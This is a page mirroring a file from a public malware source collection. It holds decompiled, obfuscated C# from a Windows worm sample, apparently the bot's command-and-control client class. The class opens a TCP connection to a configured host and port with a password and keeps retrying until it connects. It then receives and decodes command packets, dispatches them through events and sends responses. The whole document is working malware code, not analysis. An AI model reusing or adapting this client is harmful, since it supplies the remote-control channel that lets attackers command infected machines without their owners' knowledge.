mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 03:46:10 +00:00
259 lines
8.0 KiB
C#
259 lines
8.0 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: Ҧ߲๒ʽ໙ୄᴘ.߶ᒸৃ
|
|||
|
// Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe
|
|||
|
|
|||
|
using System;
|
|||
|
using System.Collections.Generic;
|
|||
|
using System.IO;
|
|||
|
using System.Net.Sockets;
|
|||
|
using System.Text;
|
|||
|
using System.Threading;
|
|||
|
|
|||
|
namespace Ҧ߲๒ʽ໙ୄᴘ
|
|||
|
{
|
|||
|
internal class \u07F6\u181Fᒸৃ
|
|||
|
{
|
|||
|
private Socket \u1AF2ۈ\u18ADф٣ɶ̽;
|
|||
|
private bool ང\u10CEಖᠪ;
|
|||
|
private Thread \u1775\u197Eᦡગุ\u1879\u0FF1ᡷ;
|
|||
|
private Thread \u0C80\u137Cấޖᓨ;
|
|||
|
private string \u1C3CНဥƇᔋม;
|
|||
|
private int \u1064\u1AFFሒ;
|
|||
|
private string ݺۧᛊக;
|
|||
|
|
|||
|
public \u07F6\u181Fᒸৃ(string Host, int Port, string Password)
|
|||
|
{
|
|||
|
this.\u1C3CНဥƇᔋม = Host;
|
|||
|
this.\u1064\u1AFFሒ = Port;
|
|||
|
this.ݺۧᛊக = Password;
|
|||
|
this.ང\u10CEಖᠪ = false;
|
|||
|
}
|
|||
|
|
|||
|
public Socket \u17DFᓫ໋ྡଷ\u0886ᄢᏆᒪ => this.\u1AF2ۈ\u18ADф٣ɶ̽;
|
|||
|
|
|||
|
public bool \u0557 => this.ང\u10CEಖᠪ;
|
|||
|
|
|||
|
public string ᜭ => this.\u1C3CНဥƇᔋม;
|
|||
|
|
|||
|
public int ᙖᇊৰਥ\u02D7\u1ADA => this.\u1064\u1AFFሒ;
|
|||
|
|
|||
|
public string Ѣᖆܵ\u19F8ᗄ => this.ݺۧᛊக;
|
|||
|
|
|||
|
public void ᴓ᳢ᔈȷᡭౖক\u1C8F८() => this.\u1757ਉᡋᤉ();
|
|||
|
|
|||
|
private void \u1757ਉᡋᤉ()
|
|||
|
{
|
|||
|
if (this.ང\u10CEಖᠪ)
|
|||
|
return;
|
|||
|
this.\u0C80\u137Cấޖᓨ = new Thread((ThreadStart) (() =>
|
|||
|
{
|
|||
|
this.\u1AF2ۈ\u18ADф٣ɶ̽ = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
|
|||
|
while (!this.\u1AF2ۈ\u18ADф٣ɶ̽.Connected)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
this.\u1AF2ۈ\u18ADф٣ɶ̽.Connect(this.\u1C3CНဥƇᔋม, this.\u1064\u1AFFሒ);
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
Thread.Sleep(TimeSpan.FromSeconds((double) ȩזြڹᡡỾỔው.\u09F6ϸ));
|
|||
|
}
|
|||
|
}
|
|||
|
this.ٻܸ();
|
|||
|
}));
|
|||
|
this.\u0C80\u137Cấޖᓨ.Start();
|
|||
|
}
|
|||
|
|
|||
|
private void ٻܸ()
|
|||
|
{
|
|||
|
if (this.ང\u10CEಖᠪ)
|
|||
|
return;
|
|||
|
this.ང\u10CEಖᠪ = true;
|
|||
|
if (this.ᜌ\u1C9C\u0CFEʂᮅᄨɭᒨ\u19E8 == null)
|
|||
|
return;
|
|||
|
this.ᜌ\u1C9C\u0CFEʂᮅᄨɭᒨ\u19E8((object) this, (EventArgs) null);
|
|||
|
}
|
|||
|
|
|||
|
public void ຄ\u0011ڂʩ\u1AA1\u1C94ᚨ૨()
|
|||
|
{
|
|||
|
this.\u1775\u197Eᦡગุ\u1879\u0FF1ᡷ = new Thread(new ThreadStart(this.ড়ḥ\u08D9ጭṺদ\u1CFD\u1716));
|
|||
|
this.\u1775\u197Eᦡગุ\u1879\u0FF1ᡷ.Start();
|
|||
|
}
|
|||
|
|
|||
|
private void ড়ḥ\u08D9ጭṺদ\u1CFD\u1716()
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
MemoryStream ms = new MemoryStream();
|
|||
|
byte[] array;
|
|||
|
do
|
|||
|
{
|
|||
|
array = new byte[this.\u1AF2ۈ\u18ADф٣ɶ̽.ReceiveBufferSize];
|
|||
|
int num = this.\u1AF2ۈ\u18ADф٣ɶ̽.Receive(array, 0, array.Length, SocketFlags.Partial);
|
|||
|
if (num <= 0)
|
|||
|
throw new SocketException();
|
|||
|
Array.Resize<byte>(ref array, num);
|
|||
|
ms.Write(array, 0, num);
|
|||
|
}
|
|||
|
while (!(char.ConvertFromUtf32((int) array[array.Length - 1]) == "\n"));
|
|||
|
ms.Close();
|
|||
|
new Thread((ThreadStart) (() =>
|
|||
|
{
|
|||
|
this.\u0B53ऐࡘ(ms.ToArray());
|
|||
|
ms.Dispose();
|
|||
|
ms = (MemoryStream) null;
|
|||
|
})).Start();
|
|||
|
}
|
|||
|
catch (SocketException ex)
|
|||
|
{
|
|||
|
this.ຳѤᙍַኅߣϐᅍ(true);
|
|||
|
return;
|
|||
|
}
|
|||
|
catch (Exception ex)
|
|||
|
{
|
|||
|
this.ຳѤᙍַኅߣϐᅍ(true);
|
|||
|
Console.WriteLine(ex.Message);
|
|||
|
}
|
|||
|
this.ড়ḥ\u08D9ጭṺদ\u1CFD\u1716();
|
|||
|
}
|
|||
|
|
|||
|
private void \u0B53ऐࡘ(byte[] _param1)
|
|||
|
{
|
|||
|
List<byte> byteList = new List<byte>();
|
|||
|
for (int index = 0; index < _param1.Length; ++index)
|
|||
|
{
|
|||
|
if (char.ConvertFromUtf32((int) _param1[index]) != "\n")
|
|||
|
{
|
|||
|
byteList.Add(_param1[index]);
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
this.Ờ(byteList.ToArray());
|
|||
|
byteList.Clear();
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
private void Ờ(byte[] Ʒ᮲ᑔ༨)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
MemoryStream memoryStream = new MemoryStream(\u1928ᔾዔ.ᖝሇᬐ\u09D1য়᪷(Ʒ᮲ᑔ༨, true));
|
|||
|
byte[] buffer = new byte[4];
|
|||
|
memoryStream.Read(buffer, 0, buffer.Length);
|
|||
|
\u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ int32 = (\u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ) BitConverter.ToInt32(buffer, 0);
|
|||
|
byte[] numArray = new byte[memoryStream.Length - 4L];
|
|||
|
memoryStream.Read(numArray, 0, numArray.Length);
|
|||
|
memoryStream.Close();
|
|||
|
memoryStream.Dispose();
|
|||
|
if (int32 != \u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.ឰಊୟ\u07BA)
|
|||
|
{
|
|||
|
if (this.ङᷢៅ\u02D2ჿ != null)
|
|||
|
this.ङᷢៅ\u02D2ჿ((object) this, new ᛕᔱ\u05CDᨈكအ\u0FFEན(numArray, numArray.Length, int32));
|
|||
|
}
|
|||
|
else
|
|||
|
this.\u087Cἲ\u1370ኺࣱሤ();
|
|||
|
Ʒ᮲ᑔ༨ = (byte[]) null;
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
\u0E4Cኘ᳒ধڿቷ\u1373\u09F6 obj = new \u0E4Cኘ᳒ধڿቷ\u1373\u09F6();
|
|||
|
obj.Write("Broken Packet");
|
|||
|
this.ೠ(new ᛷḼဩ\u09CF(\u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.ᑣ᧑, obj.ࠨ಼\u10CEᇥ\u1CA0ฉ()).ᖣᅸڨฃ());
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
public int ೠ(byte[] _param1)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
int sent = this.\u1AF2ۈ\u18ADф٣ɶ̽.Send(_param1, 0, _param1.Length, SocketFlags.Partial) + this.\u1AF2ۈ\u18ADф٣ɶ̽.Send(this.അΡጢૡ, 0, 1, SocketFlags.Partial);
|
|||
|
if (this.ଦ\u00A8\u0B0E̟\u0B54 != null && sent != 0)
|
|||
|
this.ଦ\u00A8\u0B0E̟\u0B54((object) this, new \u00B1ჵઆЩᎮɀኤʨՃ(sent));
|
|||
|
return sent;
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
return 0;
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
private byte[] അΡጢૡ => Encoding.ASCII.GetBytes("\n");
|
|||
|
|
|||
|
private void \u087Cἲ\u1370ኺࣱሤ() => this.ೠ(new ᛷḼဩ\u09CF(\u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.ឰಊୟ\u07BA, new byte[0]).ᖣᅸڨฃ());
|
|||
|
|
|||
|
public void ӊᖍւጨΟ\u0095ᠫஷ٤(string _param1)
|
|||
|
{
|
|||
|
\u0E4Cኘ᳒ধڿቷ\u1373\u09F6 obj = new \u0E4Cኘ᳒ধڿቷ\u1373\u09F6();
|
|||
|
obj.Write(_param1);
|
|||
|
this.ೠ(new ᛷḼဩ\u09CF(\u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.ᑣ᧑, obj.ࠨ಼\u10CEᇥ\u1CA0ฉ()).ᖣᅸڨฃ());
|
|||
|
}
|
|||
|
|
|||
|
public bool ຳѤᙍַኅߣϐᅍ(bool _param1)
|
|||
|
{
|
|||
|
if (!this.ང\u10CEಖᠪ)
|
|||
|
return false;
|
|||
|
this.\u1A68ᅬ\u0ECEƮÃ̪ᨖ\u1B4Fర();
|
|||
|
this.ང\u10CEಖᠪ = false;
|
|||
|
if (_param1 && this.ᴾੜᦇ\u0530ӟḍ್් != null)
|
|||
|
this.ᴾੜᦇ\u0530ӟḍ್්((object) this, (EventArgs) null);
|
|||
|
return true;
|
|||
|
}
|
|||
|
|
|||
|
public void \u1A68ᅬ\u0ECEƮÃ̪ᨖ\u1B4Fర()
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
this.\u1AF2ۈ\u18ADф٣ɶ̽.Close();
|
|||
|
this.\u1AF2ۈ\u18ADф٣ɶ̽ = (Socket) null;
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
}
|
|||
|
try
|
|||
|
{
|
|||
|
this.\u1775\u197Eᦡગุ\u1879\u0FF1ᡷ.Abort();
|
|||
|
this.\u1775\u197Eᦡગุ\u1879\u0FF1ᡷ = (Thread) null;
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
public event EventHandler ƬԀඈ;
|
|||
|
|
|||
|
public event EventHandler ȉ᧗ቦᡭଔƯ᪽\u06DE;
|
|||
|
|
|||
|
public event EventHandler<\u00B1ჵઆЩᎮɀኤʨՃ> ဢᰣᘜᗎളಘ\u19EDᡝ;
|
|||
|
|
|||
|
public event EventHandler<ᛕᔱ\u05CDᨈكအ\u0FFEན> nᶏ\u0BFD;
|
|||
|
|
|||
|
public enum ƪᆌቬኆ২ᇖࣩᄦ
|
|||
|
{
|
|||
|
ፒሼࠓઑᕹᙒ\u0FECᡱ = 0,
|
|||
|
\u0F38ླ = 1,
|
|||
|
ᠭÙ = 2,
|
|||
|
ᜇࣧᴵࣴᏐᛇਝ = 3,
|
|||
|
\u0A5D\u0862Fπ = 4,
|
|||
|
ᘷᡣ = 5,
|
|||
|
ᄹٷᵹ = 6,
|
|||
|
ੲ = 7,
|
|||
|
ᮜᇖĺ̠Êᰆᡌᩉ\u0B49 = 8,
|
|||
|
ຜભᆰᮄعẏڡᯋ = 9,
|
|||
|
ԫЯࡃ = 15, // 0x0000000F
|
|||
|
ᩅ4ഗ = 16, // 0x00000010
|
|||
|
బጲ\u0D99ᘔߥᗓᆵ = 17, // 0x00000011
|
|||
|
ב = 18, // 0x00000012
|
|||
|
ឰಊୟ\u07BA = 19, // 0x00000013
|
|||
|
ᗽ\u0D56ᐁན᱘ = 20, // 0x00000014
|
|||
|
ᑣ᧑ = 21, // 0x00000015
|
|||
|
ᰟƓ = 22, // 0x00000016
|
|||
|
\u1F16Ʈᝐ\u0F6Dṡ\u0E85 = 23, // 0x00000017
|
|||
|
ᑎ\u0F2EተױၦѶᣔᘬ = 24, // 0x00000018
|
|||
|
\u1C92\u193F\u0EFA = 25, // 0x00000019
|
|||
|
}
|
|||
|
}
|
|||
|
}
|